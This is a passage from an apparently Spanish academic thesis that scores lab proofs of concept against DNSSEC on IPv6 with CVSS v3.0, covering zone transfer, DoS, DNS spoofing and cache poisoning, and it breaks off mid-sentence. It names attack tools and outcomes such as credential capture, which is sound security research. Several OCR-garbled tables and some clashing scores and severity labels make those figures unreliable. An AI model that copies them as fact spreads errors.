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En la Figura 5.37 por las autoras, se observa la evidencia del envenenamiento de
la Base de Datos del Servidor caché Validador DNSSEC montado en el S.O

Windows Server, cuando el cliente consulta por el dominio inexistente
coomunicate:
2 DNS Name Type Data
4 § ONS | comunicate
4 | Cached Lookups | net
4 2 root) {] (same as parent folder) Name Server (NS) a,gtld-servers.net.com.
4 il com ' ﬂ(same as parent folder) Delegation Signer (DS) [15826)[SHA-1][RSA/SHA-256)(F51C9F8375202C5F4B733A2CB
| comunicate || £ came as parent folder) Delegation Signer (DS)  [15826](SHA-256][RSA/SHA-256][BDD30942A107B21870A580¢
b & net ﬂ(same as parent folder) RR Signature (RRSIG) [DNSKEY](Inception(UTC): 8/19/2018 12:23:22 AM](Expirationi
b net {](same as parent folder) RR Signature (RRSIG) [DNSKEY](Inception(UTC): 8/19/2018 12:23:22 AM][Expiration!
b | Forward Lookup Zones || . g ; e
] —— . i](same as parent folder) RR Signature (RRSIG) [DS](Inception(UTC): 8/21/2018 9:48:46 AM)][Expiration(UTC):
b B Trust Points {] (same as parent folder) DNS KEY (DNSKEY) [257)(DNSSEC][RSA/SHA-256](15826)
b B} Conditionat Forwarders i:](same as parent folder) DNS KEY (DNSKEY) [256)[DNSSEC][RSA/SHA-256)[26283)
b ﬂl Global Logs i | comunicaate [Pv6 Host (AAAA) 2001:0012:7000:0000:0000:0000: cafe:0037
|| | coomunicate IPv6 Host (AAAA) 2001:0012:7000:0000:0000:0000:cafe:0037 |

Figura 5.37 Envenenamiento de la Base de datos del Servidor Caché Windows Server
Validador.

5.3 FASE 3: EVALUACION DE VULNERABILIDADES

5.3.1 Caéalculo del nivel de criticidad de las vulnerabilidades

El Sistema de puntuacién de vulnerabilidad comun (CVSS, Common Vulnerability
Scoring System), proporciona una forma de capturar las caracteristicas principales
de una vulnerabilidad y producir una puntuacién numérica que refleje su gravedad,
asi como una representacion textual de esa puntuacion. El puntaje numérico
puede traducirse en una representacion cualitativa (como baja, media, alta y
critica) para ayudar a las organizaciones a evaluar y priorizar adecuadamente sus
procesos de gestion de vulnerabilidad [29].

A continuacidon se muestra la tabla resumen del Sistema comun de puntuacion de
vulnerabilidad CVSS v3.0, para estimar el impacto de una vulnerabilidad, el cual
estd compuesto por tres grupos principales de métricas: Base, Temporal y de
Entorno, cada una se conforma a su vez de un conjunto de otras métricas:
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Vector de ataque AV Red Adjacente Local Fisica S|

Complejidad de ataque AC Bajo Alto S

Previlegios requeridos PR Ninguno Bajo Alto S

] i Ninguno Requerido

METRICAS BASE Interacion de usuario ul : 9 : q : S|
Alcance S Sin Cambio Cambio 9

Confidencialidad c Alto Bajo Ninguno S

Integridad | Alto Bajo Ninguno 9

Disponibildiad D Alto Bajo Ninguno S|

Explotar el vencimiento del codigo E No definido Alto Funcional Prueba de concepto  No probado NO
METRICATEMPORAL  [Nivel de remediacion RL No definido  No disponible  solucion Alternativa  Arreglo temporal  Solucion oficial NO
Informe de confianza RC No definido Confirmado Razonable Desconocido NO

Requisito de Confidencialidad cR | Nodefinido Alto Medio Bajo NO

Requisito de Integridad IR No definido Alto Medio Bajo NO

Requisito de Disponibildiad DR | Nodefinido Alto Medio Bajo NO

Vector de ataque modificado MAV No definido Red Adjacente Local Fisica NO

Complejidad de ataque modificado | MAC | Nodefinido Bajo Alto NO

METRICAS . ’ .

AMBIENTALES |Previlegios requeridos modificado MPR | Nodefinido Ninguno Bajo Alto NO
Iteracion de usuario modificado Mui | Nodefinido Ninguno Requerido NO

Alcance modificado MS No definido Sin Cambio Cambio NO

Confidencialidad modificada MC Alto Bajo Ninguno NO

Integridad modificada MI Alto Bajo Ninguno NO

Disponibildiad Modificada MA Alto Bajo Ninguno NO

Tabla 5.34 Sistema comun de puntuacion de vulnerabilidad CVSS v3.0

Para el célculo cuantitativo de las diferentes métricas, se utiliza la calculadora
de CVSS v 3, en el siguiente link https://www.first.org/cvss/calculator/3.0 , y para
mayor informacion ver el Anexo 4.

Célculo del impacto con CVSS 3.0

Primero se debe seleccionar los valores para todas las métricas base para generar
el puntaje. Las métricas temporales y ambientales son opcionales, y se considera
que las métricas omitidas tienen el valor No definido.

Una vez los valores de las métricas Base son asignadas por un analista, la
ecuaciéon [30], definida para calcular la puntuacion, genera un valor entre 0.0 y
10.0 derivado de dos subcélculos procedentes de las métricas de Explotacion e
Impacto. Opcionalmente este calculo puede ser refinado con las ecuaciones de las
métricas Temporales y Ambientales, de manera que los puntajes se calculan en
secuencia, de modo que el puntaje base se usa para calcular el puntaje temporal y
el puntaje temporal se usa para calcular el puntaje ambiental, obteniendo asi el
puntaje general de CVSS.
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Criterios cualitativos de clasificacién de CVSS v.3.0:

Para asignar una correspondencia entre una escala cualitativa y un valor
cuantitativo. En esta version 3 se establece una correspondencia cualitativa de
la severidad con el valor cuantitativo de la vulnerabilidad.

Puntuacion Severidad
0 Nula
0.1-3.9 Baja
4.0-6-9 Media
7.0-8.9 Alta
9.0-10.0 Critica

Tabla 5.35 Puntuacién CVSS y valor cualitativo (severidad).

Una vez realizados los pasos para calcular el valor cualitativo y cuantitativo de la
severidad de una vulnerabilidad con CVSS, se explica como se realizd este
calculo en cada prueba de ejemplo, determinando los valores de cada uno de los
parametros de las métricas base, temporal y ambiental, hasta obtener el resultado
final de la severidad de la vulnerabilidad, que pueden ayudar a las
organizaciones a evaluar y priorizar adecuadamente sus procesos de
gestion de vulnerabilidades.

EJEMPLO: Evaluacion de vulnerabilidad con las PoC de transferencia de
zona del Servidor Autoritario dnsl.comunicate.com

En este ejemplo se realiza el célculo de severidad de la vulnerabilidad con las PoC
de transferencia de zona del servidor autoritario dnsl.comunicate.com con soporte
DNSSEC, cuando la PoC se realiza desde la red interna CAFE y la cadena de
confianza se esta firmada.

A continuacion se explica como se determinan los valores de cada uno de los
parametros de las métricas base, temporal y ambiental:
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Puntaje Base:

METRICAS METRICA POSIBLES  METRIGA

Vector de ataque AV Red

Complejidad de ataque AC Alto

Privilegios requeridos PR Ninguno

METRICAS BASE Interaccién de usuario Ul Ninguno 5.9

Alcance S Sin Cambios
Confidencialidad C Alto

Integridad | Ninguno

Disponibilidad D Ninguno

Tabla 5.36 Puntaje Base con la PoC AXRF

Métricas de Explotabilidad

El vector de ataque, toma el valor de Red (Networks) debido a que la
transferencia de zona se realiza en desde la red interna de la organizacion hacia la
red externa donde se encuentra el servidor autoritario del dominio
comunicate.com; la complejidad del ataque es alta, porque se requiere tener
cierto de grado de conocimientos para que la prueba sea exitosa; no se requiere
ningun privilegio y tampoco interaccion con el usuario para poder llevar a
cabo la prueba.

Métricas de Impacto

El alcance, toma el valor de sin cambios porque que el componente vulnerable
(servidor autoritario comunicate.com), es el Unico afectado por la PoC; el impacto
de confidencialidad es alto debido a que se obtiene todo el archivo de zona de
un dominio desde el servidor autoritario; no hay ningdn impacto en la integridad
porque se esta copiando el archivo de zona del servidor autoritario pero no se esta
modificando y tampoco hay ningln impacto a la disponibilidad porque con la
transferencia de zona no se esta afectando la disponibilidad del servicio de
DNSSEC.
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Métricas Temporales

La explotacion del vencimiento del codigo es alto, debido a que la PoC de
transferencia de zona se puede realizar mediante herramientas automatizadas
confiables, ampliamente disponibles y faciles de usar; el nivel de remediacion es
oficial porque existe una solucion oficial; el informe de confianza toma el valor
de confirmado debido a que la existencia de la vulnerabilidad bajo este escenario
esta confirmada.

GRUPO DE

PUNTAJE

METRICA SIGLA VALORES POSIBLES METRICA

METRICAS

Eggilo:)ar el vencimiento del E Alto
METRICA 9
TEMPORAL | Nivel de remediacion RL Solucién Oficial 5.7
Informe de confianza RC Confirmado

Tabla 5.37 Puntaje temporal con la PoC AXRF

Métrica ambiental

El requerimiento de confidencialidad es bajo porque el servidor autoritario de
dnsl.comunicate.com con soporte DNSSEC, no cifra la informacion de los datos

gue envia al realizar una transferencia de zona; su requerimiento de integridad
es alto porque garantiza la integridad y autenticacion de los archivos que
entrega al servidor secundario en el proceso de AXFR, esto también hace que su
requerimiento de disponibilidad sea alto.

GRUPO DE B PUNTAJE
METRICAS METRICA SIGLA VALORES POSIBLES METRICA
Requisito de Confidencialidad CR Bajo
METRICAS . .
AMBIENTALES | Reduisito de Integridad IR Alto 3.9
Requisito de Disponibilidad DR Alto

Tabla 5.38 Puntaje ambiental con la PoC AXRF

Una vez asignado los valores de cada uno de los parametros de las métricas
Base, Temporal y Ambiental para esta prueba de concepto, se determina que el
valor cuantitativo de la vulnerabilidad estd representado por el siguiente
puntaje como se puede apreciar en la Figura 5.38:
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Puntajes base Temporal Ambiental General

10.0 10.0 10.0 10.0
8.0 + 8.0 4 8.0 4 8.0 4
6.0 6.0 6.0 6.0
4.0 + 4.0+ 4.0+ 4.0 -
2.0 2.0 2.0 ~l—~_L 2.0 ~l
0.0 - . . 0.0- 0.0 28 0.0-
Base ImpactdExplotabilidad Temporal Ambiental Impacto modificado En general

Figura 5.38 Célculo Puntaje general CVSS AXFR

3.9 Baja
Tabla 5.39 Puntuacién CVSS AXFR

Como se obtiene una Puntuacion CVSS de 3.9 esta corresponde a una
severidad asociada de Baja.

EJEMPLO: Evaluacién de vulnerabilidad con las PoC de DoS denegacién de
servicio

Se calcula el nivel de criticidad de la PoC exitosa de denegacion de servicio, del
servidor autoritario dnsl.bancodk.com, el cual se encuentra en la red interna de la
organizaciéon y soporta DNSSEC.

A continuacion se explica como se determinan los valores de cada uno de los
pardmetros de las métricas base, temporal y ambiental:

Métrica Base

GRUPO DE

. VALORES PUNTAJE
METRICAS METRICA POSIBLES METRICA

Vector de ataque Adyacente

Complejidad de ataque AC
Privilegios requeridos PR Ninguno
i Interaccién de usuario Ul Ninguno
METRICAS BASE
Alcance S Cambio

Confidencialidad Ninguno

Integridad |
Disponibilidad D
Tabla 5.40 Puntaje Base con la PoC DoS
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Métricas de Explotabilidad

El vector de ataque, toma el valor de adyacente debido a que la prueba se
realiza en la red interna de la organizacion, la complejidad del ataque es Alta
porque que requiere que el atacante tenga una gran preparacion para que la
prueba contra el componente vulnerable sea exitosa, no se requiere ningun
privilegio y tampoco se requiere ninguna Interaccion con el usuario para llevar
a cabo la prueba.

Métricas de Impacto

El alcance, toma el valor de cambios porgue al explotar la vulnerabilidad afecta la
disponibilidad del servicio a todos los usuarios que intenten conectarse con la
aplicacion del servidor, por lo tanto tiene gran impacto en la disponibilidad del
servicio, no se afecta la confidencialidad y tampoco la integridad.

Métricas Temporales

La explotacion del vencimiento del cddigo es alto, debido a que la prueba de
DoS se lleva a cabo por medio de una herramienta manual; el nivel de
remediacion es una solucién alternativa, debido a que no existe una solucion
definitiva para evitar el ataque DoS, el informe de confianza toma el valor de
confirmado debido a que la existencia de la vulnerabilidad bajo este escenario
esta confirmada.

GRUPO DE

PUNTAJE

METRICA SIGLA VALORES POSIBLES METRICA

METRICAS

cE::algtar el vencimiento del E Alto
METRICA 9
TEMPORAL | Nivel de remediacion RL solucion Oficial 6
Informe de confianza RC Confirmado

Tabla 5.41 Puntaje temporal con la PoC DoS

Métrica Ambiental

El requerimiento de confidencialidad es bajo porque el servidor objetivo con
soporte DNSSEC no cifra la informacién, su requerimiento de integridad es alto
porque garantiza la integridad y autenticacion en las respuestas que envia, y por
lo tanto se espera que el servicio de DNSSEC esté disponible.
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GRUPO DE
METRICAS

PUNTAJE

METRICA SIGLA VALORES POSIBLES METRICA

Requisito de Confidencialidad

METRICAS

AMBIENTALES Requisito de Integridad

Requisito de Disponibilidad

Tabla 5.42 Puntaje ambiental con la PoC DoS

Una vez asignado los valores de cada uno de los parametros de las métricas
Base, Temporal y Ambiental para esta prueba de concepto, se determina que el
valor cuantitativo de la vulnerabilidad estd representado por el siguiente
puntaje como se puede apreciar en la siguiente Figura 5.39:

Puntajes base Temporal Ambiental General

10.0 10.0 10.0 10.0

8.0 A 8.0 4 8.0 8.0
6.0 4 6.0 6.0 4 6.0

6.0
4.0 4 4.0 4.0 4.04
2.0+ 2.0 1 2.0+ 2.04
0.0 - 0.0- \ 0.0 0.0
Base Impactdxplotabilidad Temporal Ambiental Impacto moedificado En general

Figura 5.39 Célculo Puntaje general CVSS DoS

8
Tabla 5.43 Puntuacién CVSS DoS

Como se obtiene una Puntuacién CVSS de 8 esta corresponde a una severidad
asociada de severidad Alta.

EJEMPLO: Evaluacion de vulnerabilidad con la PoC DNS Spoofing, Dominio
Firmado y Cadena de Confianza Firmada

En este ejemplo se realiza el célculo de la severidad con la PoC de DNS Spoofing
exitosa, cuando un cliente consulta por el dominio firmado www.comunicate.com,
el Servidor Caché tiene soporte de validacion DNSSEC, y la cadena DNSSEC
esta Firmada.
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Métrica Base

VALORES PUNTAJE
POSIBLES METRICA

GRUPO DE

METRICAS METRICA ] [c] .

Vector de ataque Adyacente
Complejidad de ataque AC Alto
Privilegios requeridos PR Ninguno
e Interaccién de usuario Ul Requerido
Alcance S Sin Cambios
Confidencialidad Cc Alto
Integridad | Alto
Disponibilidad D Alto

Tabla 5.44 Puntaje Base con la PoC DNS Spoofing, Dominio Firmado

Métricas de Explotabilidad

El vector de ataque, toma el valor de adyacente debido a que la prueba se
realiza en la red interna de la organizacion, la complejidad del ataque es Alta
porque que requiere que el atacante invierta gran cantidad de esfuerzo en la
preparacion o ejecucion contra el componente vulnerable antes de que se pueda
esperar un atague exitoso, no se requiere ningun privilegio para poder ejecutar
la prueba, la Interaccion del usuario es requerida, ya que para el éxito de la
PoC se requiere de que la victima realice la consulta del dominio al cual se desea
suplantar.

Métricas de Impacto

El alcance, toma el valor de sin cambios porque gque el componente vulnerable
(El cliente), es el unico afectado por la PoC; el impacto de confidencialidad es
alto porque con el éxito del ataque se logra capturar las credenciales de la victima
(usuario y contrasefia); el impacto de la integridad toma el valor alto, porque la
respuesta de la consulta del dominio realizada por el cliente, fue modificada por la
direccion IPv6 del atacante; finalmente el impacto de la disponibilidad es alto
debido a que se pierde la disponibilidad en la respuesta del servicio ofrecido por
DNSSEC (autenticacion e integridad).
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Métricas Temporales

La explotacion del vencimiento del codigo es alto, debido a que la prueba de
Dns Spoof se lleva a cabo por medio de una herramienta manual; el nivel de
remediacion es una solucion alternativa porque se requiere que los usuarios
realicen el proceso de validacion DNSSEC,; el informe de confianza toma el valor
de confirmado debido a que la existencia de la vulnerabilidad bajo este escenario
esta confirmada.

Puntuacion Temporal

GRUPO DE PUNTAJE

METRICA SIGLA VALORES POSIBLES METRICA

METRICAS

(E:;zilo:)ar el vencimiento del E Alto
METRICA <
TEMPORAL | Nivel de remediacién RL | Solucién Alternativa 6.9
Informe de confianza RC Confirmado

Tabla 5.45 Puntaje temporal con la PoC DNS Spoofing, Dominio Firmado

Puntaje Ambiental

El requerimiento de confidencialidad es bajo porque el validador con soporte
DNSSEC, no entrega una respuesta cifrada de la consulta al cliente, su
requerimiento de integridad es alto porque garantiza la integridad y
autenticacion de la respuesta al cliente, esto hace que su requerimiento de
disponibilidad es alto, porque al validar la respuesta y entregarla al cliente
permite que haya disponibilidad del servicio de DNSSEC.

GRUPO DE - PUNTAJE
METRICAS METRICA SIGLA VALORES POSIBLES METRICA
Requisito de Confidencialidad CR Alto
METRICAS . . .
AMBIENTALES = Reauisito de Integridad IR Alto 6.9
Requisito de Disponibilidad DR Alto

Tabla 5.46 Puntaje ambiental con la PoC DNS Spoofing, Dominio Firmado

Una vez asignado los valores de cada uno de los pardmetros de las métricas
Base, Temporal y Ambiental para esta prueba de concepto, se determina que el
valor cuantitativo de la vulnerabilidad esta representado por el siguiente

puntaje como se puede apreciar en la Figura 5.40:
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Puntajes base Temporal Ambiental General

10.0 10.0 10.0 10.0 -
8.0 8.0 - 8.0 4 8.0 -
6.0 6.0 6.0 4 6.0 4
5.9
4.0 4.0 - 4.0 4.0
2.0 2.0~ 2.0 2.0
0.0 - 0.0 - 0.0~ \ 0.0 -
Base ImpactdExplotabilidad Temporal Ambiental Impacto modificado En general

Figura 5.40 Célculo Puntaje general CVSS DNS Spoofing , Dominio Firmado

6.9 Media
Tabla 5.47 Puntuacién CVSS DNS Spoofing

Como se obtiene una Puntuacion CVSS de 6.9 esta corresponde a una
severidad asociada de Media.

EJEMPLO: Evaluacion de vulnerabilidad con la PoC DNS Spoofing Dominio
Inexistente, Cadena de Confianza Firmada

En este ejemplo se realiza el calculo de la severidad con la PoC de DNS Spoofing
exitosa, cuando la cadena de confianza DNSSEC est4 Firmada y el MITM se
realiza entre el Servidor Caché Validador Windows Server y la Gateway de la
red CAFE cuando el Cliente No Validador consulta por el Dominio inexistente
coomunicate.com, y el escenario esta implementado sobre el sistema
operativo Windows-Centos/Debian (Red interna—Red Externa).

Métrica Base

GRUPO DE METRICA VALORES PUNTAJE

METRICAS POSIBLES METRICA

Vector de ataque Adyacente

Complejidad de ataque AC

Privilegios requeridos PR Ninguno
; Interaccién de usuario Ul Requerido

METRICAS BASE

Alcance S Cambio

Confidencialidad C

Integridad |

Disponibilidad D

Tabla 5.48 Puntaje Base con la PoC DNS Spoofing, Dominio Inexistente
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Métricas de Explotabilidad

El vector de ataque, toma el valor de adyacente debido a que el componente
vulnerable (en este caso el Cliente y el Servidor Caché) y el atacante estan dentro
de la red interna de la organizacion, la complejidad del ataque es Alta porque
que requiere que el atacante invierta gran cantidad de esfuerzo en la preparacion
0 ejecucion de la prueba contra los componentes vulnerables para que el ataque
sea exitoso, no se requiere ningun privilegio para poder ejecutar la prueba, la
Interaccion del usuario es requerida, ya que para el éxito de la PoC se requiere
de que la victima realice la consulta del dominio al cual se desea suplantar.

Métricas de Impacto

El alcance, toma el valor de cambios porque el Cliente y el Servidor Caché son
los componentes vulnerables afectados por la PoC; el impacto de
confidencialidad es alto porque con el éxito del ataque se logra capturar las
credenciales de la victima (usuario y contrasefia); el impacto de la integridad
toma el valor alto, porque la respuesta de la consulta del dominio realizada por el
cliente, fue modificada por la direccion ipv6 del atacante, insertando el registro
falso en la base de datos del servidor cache; finalmente el impacto de la
disponibilidad es alto debido a que se pierde la disponibilidad en la respuesta del
servicio ofrecido por DNSSEC (autenticacion e integridad).

Métricas Temporales

La explotacion del vencimiento del cddigo es alto, debido a que la prueba de
DNS Spoofing se lleva a cabo por medio de las herramientas Ettercap y
URLcrazy; el nivel de remediacion es una solucion alternativa, debido _gue
hasta el momento, no se ha registrado en la base de datos del CVE que la
vulnerabilidad del envenenamiento del Servidor Caché montado _en_un

sistema Windows Server esta presente cuando se consulta por un_dominio
inexistente, por lo tanto como solucion alternativa se propone que se debe
montar en un S.O Linux; el informe de confianza toma el valor de confirmado
debido a que la existencia de la vulnerabilidad bajo este escenario esta

confirmada.
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Puntuacion Temporal

GRUPO DE
METRICAS

PUNTAJE
METRICA

METRICA SIGLA VALORES POSIBLES

Explotar el vencimiento del Cédigo Alto

METRICA

TEMPORAL Nivel de remediacion solucion Alternativa

Informe de confianza Confirmado

Tabla 5.49 Puntaje temporal con la PoC DNS Spoofing Dominio Inexistente

Puntaje Ambiental

El requerimiento de confidencialidad es bajo porque el Validador con soporte
DNSSEC, no entrega una respuesta cifrada de la consulta al cliente, su
requerimiento de integridad es alto porque el funcionamiento del Servidor
Caché garantiza la integridad y autenticacién de la respuesta al cliente, esto hace
gue su requerimiento de disponibilidad sea alto, porque el Servidor Caché en
su funcionamiento normal, al validar la respuesta y entregarla al Cliente permite
gue haya disponibilidad del servicio de DNSSEC.

GRUPO DE
METRICAS

PUNTAJE
METRICA

METRICA SIGLA VALORES POSIBLES

Requisito de Confidencialidad

METRICAS

AMBIENTALES Requisito de Integridad

Requisito de Disponibilidad

Tabla 5.50 Puntaje ambiental con la PoC DNS Spoofing Dominio Inexistente

Una vez asignado los valores de cada uno de los pardmetros de las métricas
Base, Temporal y Ambiental para esta prueba de concepto, se determina que el
valor cuantitativo de la vulnerabilidad estd representado por el siguiente
puntaje como se puede apreciar en la Figura 5.41:
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Puntajes base Temporal Ambiental General
10.0 10.0 10.0 10.0 ———

E.0 4 8.0+ 8.0 4 8.0+

6.0 6.0 6.0 6.0

= | 4.0

[ 2.0
0.0 0.0 0.0

Base Impacte Explotabilidad Temperal Ambiental Impacto modificado En general

4.0 4.0 4.0

1.0 2.0 2.0

0.0

Figura 5.41 Célculo Puntaje general CVSS DNS Spoofing Dominio Inexistente

Puntuacion Severidad

Tabla 5.51 Puntuacién CVSS DNS Spoofing

Como se obtiene una Puntuacion CVSS de 7.7 esta corresponde a una
severidad asociada de Media.

5.3.2 Evaluacién de vulnerabilidad con las PoC de transferencia de zona

En la Tabla 5.48, se observa que la evaluacion de vulnerabilidad con las
pruebas de transferencia de zona en los servidores autoritarios DNS/DNSSEC
configurados sobre el sistema operativo Centos, corresponde a una severidad
asociada de Baja.

INTE?QIIE\IF(;\;I;?(?ERNO DNS/DNSSEC EXITO PoC Sg\?SRSE SEVERIDAD
BAJA
INTERNO DNSSEC NSEC BAJA
BAJA
BAJA
BAJA

Tabla 5.52 Severidad asociada con las PoC de transferencia de zona.

Esto se debe a que la vulnerabilidad de AXFR se presenta cuando hay un error en

la configuracién de los servidores objetivo (internos o0 externos), que permitan

transferencias de zona no autorizadas, independientemente si soportan DNS o
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DNSSEC. De igual forma se puede ver que a nivel cuantitativo, es mayor la
severidad cuando se puede explotar la vulnerabilidad de manera remota.

5.3.3 Evaluacién de vulnerabilidad, con las PoC de enumeracion de
dominios por consulta incorrecta, cuando se ha implementado DNSSEC con
NSEC

En la Tabla 5.49, se muestra que los resultados de la evaluacion de
vulnerabilidad con las PoC de enumeracion de dominio por consultas incorrectas,
sobre el escenario de pruebas controlado (windows/Centos/Debian). Cuando se
implementa DNSSEC con el RRs NSEC, la severidad asociada es Baja, debido a
gue un atacante puede consultar estos RRs NSEC en secuencia para obtener
todos los nombres posibles en una zona.

DOMINIO SCORE
PLATAFORMA | DNS/DNSSEC INTERNO- CcVssS SEVERIDAD
EXTERNO
BAJA
CENTOS DNSSEC NSEC | EXTERNO BAJA
BAJA
DEBIAN DNSSEC NSEC | EXTERNO BAJA
BAJA

Tabla 5.53 Severidad asociada con las PoC de Enumeracion de Dominio por Consulta
Incorrecta

5.3.4 Evaluaciéon de vulnerabilidad con las PoC DoS desde lared Interna

En la Tabla 5.50, se observa que la evaluacion de vulnerabilidad con las PoC de
denegacién de servicio que se realizaron desde la red interna CAFE,
corresponden a una severidad asociada de Alta, debido a que con la PoC de
denegacion de servicio se logré tumbar la disponibilidad de los servidores
autoritarios de la red interna dnsl.bancodk.com y de la red externa
dnsl.comunicate.com.
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SERVIDOR OBJETIVO

dnsl.comunicate.com

dnsl.bancodk.com

DNS/DNSSEC

DNSSEC NSEC3

DNSSEC NSEC3

8

SCORE
CVSs

Tabla 5.54 Severidad asociada con la PoC de DoS.

SEVERIDAD

5.3.5 Evaluacion de vulnerabilidad con las PoC de DNS Spoofing

A continuacion se presentan los resultados de evaluacion de vulnerabilidad con las
PoC de DNS Spoofing cuando la cadena de confianza DNSSEC est4 firmada y
rota, cuando se realizan las PoC tanto desde la red interna como externa para los
dos casos.

Evaluacion de vulnerabilidad con las PoC de DNS Spoofing cuando los
Servidores DNSSEC estan configurados sobre Debian,
confianza DNSSEC estéa firmada y las PoC se realizan desde la red interna.

la cadena de

N° de pruebas

=
o

[N
[

=
N

baancodk.com

realizadas DOMINIO ESTADO
1
2 F
3
4
5 www.bancodk.com E
6 www.transacciones.bancodk.com
7
8
9 coomunicate.com NF-I

NF-I

=
w

[N
=

=
(5

=
=

ey
)

www.networks.com

=
©

=
©

N
o

21

NF

MITM

CLIENTE -CACHE

CLIENTE -CACHE

CLIETNE-WEB BANCO

CLIENTE -CACHE

CLIENTE -CACHE

CLIENTE -CACHE

CLIENTE -CACHE

CLIENTE -CACHE

VALIDADORES

CACHE

CACHE

CACHE

CACHE

CACHE

CLIENTE-CACHE

POC
EXITOSA

SCORE
CVSS

6,9

6,9

6,9

6,9

6,9

5.2

52

5.2

SEVERIDAD

MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA
MEDIA

Tabla 5.55 Severidad asociada con las PoC de DNS Spoofing cuando la Cadena DNSSEC

esta Firmada — Debian.
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La Tabla 5.51, muestra que la evaluacion de vulnerabilidad con las pruebas de
concepto de DNS Spoofing, que se realizaron desde la red interna cuando la
cadena de confianza DNSSEC esta firmada, y los Servidores DNSSEC estan
configurados sobre la distribucion Linux Debian, corresponde con una severidad
asociada de Media.

Se observa que el valor asociado de la severidad es mayor, en los casos en que
el servidor caché con soporte de validacion DNSSEC, NO entrega a tiempo la
respuesta validada de la consulta de un cliente por un dominio (externo o interno)
firmado con DNSSEC vy la autenticacion de la respuesta por un dominio que no
existe como (coomunicate.com o baancodk.com), donde la severidad corresponde
con una puntuacion CVSS de 6,9; a diferencia del caso de un cliente que realiza
una consulta por un dominio que no esta firmado dentro de la cadena DNSSEC,
donde se presenta una puntuacion de severidad CVSS menor para todas las
pruebas independientemente del validador, ya que estos no validaran la respuesta
de las consultas de dominios que no estén firmados.

Evaluacion de vulnerabilidad con las PoC de DNS Spoofing, cuando los
Servidores DNSSEC estan configurados sobre Windows-Centos, la cadena
de confianza DNSSEC esta firmada y las PoC se realizan desde la red
interna.

En la Tabla 5.52, se puede apreciar el resultado de la evaluacion de vulnerabilidad
con las pruebas de concepto de DNS Spoofing realizadas desde la red interna,
cuando la cadena de confianza DNSSEC esté firmada, y los Servidores DNSSEC
estan configurados sobre los sistemas operativos Windows- Centos (red interna-
red externa), con la caracteristica de que el Servidor Caché DNSSEC validador es
un Windows server 2012.

SUPLANTACIONDE | ENVENENAMIENTO | VALIDACION | VALIDACION |  POC SCORE
DOIN ESTADO MM VALIDADORES DOMINIO DE CACHE CACHE CLIENTE | EXITOSA | CVSS SEVERDAD

CACHE-GATEWAY MEDIA
CACHE
F CLIENTE-GATEWAY Sl NO S| NO 6,9 MEDIA
bancodk.com CACHE-BANCODK CACHE MEDIA

CACHE-GATEWAY
coomunicate.com CACHE
NF-| CLIENTE-GATEWAY Sl Sl NO NO 17

haancodk.com CACHE-BANCODK CACHE

Tabla 5.56. Severidad asociada con las PoC de DNS Spoofing cuando la Cadena

DNSSEC estd Firmada —Windows - Centos
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Se encontré que al realizar las PoC de DNS Spoofing, se obtuvo una severidad
asociada de Media, cuando las pruebas se realizan para los dominios firmados
(comunicate.com y bancodk.com), y una severidad asociada de Alta para los
dominios inexistentes (coomunicate.com y baancodk.com). Esto se debe a que el
Servidor Caché almacena informacion falsa, a diferencia de las pruebas
realizadas con los dominios firmados, donde no se presenta envenenamiento de la
memoria caché del servidor.

Evaluacion de vulnerabilidad con las PoC de DNS Spoofing cuando la
cadena de confianza DNSSEC esta firmada y las PoC se realizan desde la red
externa

En la siguiente Tabla, se observa que la severidad asociada es Alta con las PoC
de DNS Spoofing, realizadas desde la red externa BACA, cuando la cadena de
confianza esta firmada.

POC SCORE
DOMINIO ESTADO VALIDADORES EXITOSA CVSS SEVERIDAD

coomunicate.com NF-I CACHE

Tabla 5.57. Severidad asociada con las PoC de DNS Spoofing cuando la Cadena DNSSEC
estda Firmaday se realizan desde una red externa

Evaluacion de vulnerabilidad con las PoC DNS Spoofing cuando la cadena
de confianza DNSSEC estarotay las PoC se realizan desde la red interna

En la tabla se observa que la severidad asociada con las PoC de DNS Spoofing es
Alta, cuando se suplanta con éxito la respuesta del servidor DNS autoritario del
dominio firmado www.comunicate.com, por la direccién IPv6 del atacante, en

los casos en que el MITM se realiza entre (Cache-Gateway y Cliente-Gateway), a
pesar de que el cliente como el Servidor Caché con soporte de validacion
DNSSEC tengan almacenada la clave de confianza del servidor raiz. Esto se
debe a que la cadena de confianza esta rota, lo cual indica que no hay una
delegacion segura.
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Por otra parte se obtiene que la severidad asociada es Media, cuando las pruebas
de DNS Spoofing se realizan para los dominios internos firmados y externos no
firmados.

N de POC | SCORE
r z;::;e:::s DOMINIO ESTADO MITM VALIDADORES EXITOSA | cvss SEVERIDAD

1

2 CLIENTE -CACHE CACHE 6.9 MEDIA
3

4 73

5 F CLIENTE -CACHE MEDIA
6 73

7

8 CLIENTE -CACHE CLIENTE-CACHE 6.9 MEDIA
9

10 6.9 MEDIA
m www.bancodk.com CLIENTE -CACHE CACHE MEDIA
12 5.6 MEDIA
13 CLIENTE -CACHE CACHE MEDIA
14 5.6 MEDIA
15 MEDIA
16 coomunicate.com NF-| CLIENTE -CACHE 5.2 MEDIA
17 MEDIA
18 5.6 MEDIA
19 CLIENTE -CACHE CLIENTE-CACHE MEDIA
20 5.6 MEDIA
21 MEDIA
2 CLIENTE -CACHE CACHE 5.2 MEDIA
23 MEDIA
24 baancodk.com NF-I CLIENTE -CACHE 5.2 MEDIA
25 MEDIA
26 CLIENTE -CACHE CLIENTE-CACHE 5.2 MEDIA
27 MEDIA
28 www.networks.com NF CLIENTE -CACHE CLIENTE-CACHE 5.2 MEDIA
29 MEDIA

Tabla 5.58 Severidad asociada con las PoC de DNS Spoofing cuando la Cadena DNSSEC
esta Rota
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5.4 FASE 4: REPORTE DE AUDITORIA
5.4.1 Resumen ejecutivo

A continuacion se muestra el resultado y analisis de las pruebas de recoleccién de
informacion e identificacion y explotacion de vulnerabilidades, ejecutadas en el
escenario real de pruebas controlado, para analizar y evaluar la seguridad
proporcionada por DNSSEC en redes de informacion IPv6, aplicando la
metodologia definida en el Capitulo 2.

Para evaluar la seguridad proporcionada por DNSSEC autenticacion del origen,
y autenticacién e integridad de los datos de DNS, se debe considerar que cada
una de las pruebas se realiz6 sobre escenarios distintos con diferentes requisitos
de seguridad con el fin de determinar en qué casos DNSSEC es 0 no es
vulnerable.

Finalmente para evaluar la seguridad proporcionada por DNSSEC, se determing el
grado de severidad de la vulnerabilidad, para los diferentes casos en que
